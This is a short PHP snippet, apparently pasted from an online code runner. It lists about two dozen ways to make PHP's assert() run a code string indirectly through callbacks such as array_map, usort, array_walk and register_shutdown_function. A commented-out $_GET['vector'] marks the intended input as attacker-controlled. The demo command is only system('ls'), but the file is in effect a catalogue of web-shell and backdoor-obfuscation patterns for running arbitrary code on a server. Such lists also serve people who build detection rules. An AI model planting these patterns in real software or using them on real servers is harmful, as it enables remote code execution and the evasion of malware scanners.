<?php
$vector = 'system("ls");';//$_GET['vector'];
array_map('assert', array($vector));
array_filter(array($vector), 'assert');
array_reduce(array($vector), 'call_user_func', 'assert');
array_diff_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func');
array_diff_ukey(array('assert' => 1), array($vector => 1), 'call_user_func');
array_udiff(array('assert'), array($vector), 'call_user_func');
array_udiff_assoc(array('assert'), array($vector), 'call_user_func');
array_diff_uassoc(array('assert' => 1), array($vector => 1), 'call_user_func');
array_intersect_uassoc(array($vector => 1, 'assert' => 1), array(), 'call_user_func');
array_intersect_ukey(array('assert' => 1), array($vector => 1), 'call_user_func');
array_uintersect(array($vector, 'assert'), array(), 'call_user_func');
array_uintersect_assoc(array('assert'), array($vector), 'call_user_func');
$a = array('assert' => 'assert');
$b = array("print'register_shutdown_function'" => "print'call_user_func'");
array_uintersect_uassoc($a, $b, 'call_user_func', 'register_shutdown_function');
array_walk($c = array($vector => 'assert'), 'call_user_func');
array_walk_recursive($c = array($vector => 'assert'), 'call_user_func');
call_user_func('assert', $vector);
call_user_func_array('assert', array($vector));
iterator_apply(new ArrayIterator(array(1)), 'call_user_func', array('assert', $vector));
register_shutdown_function('assert', $vector);
usort($c = array($vector, 'assert'), 'call_user_func');
uasort($c = array(1 => $vector, 2 => 'assert'), 'call_user_func');
uksort($c = array($vector => 1, 'assert' => 1), 'call_user_func');
preferences:
40.41 ms | 402 KiB | 5 Q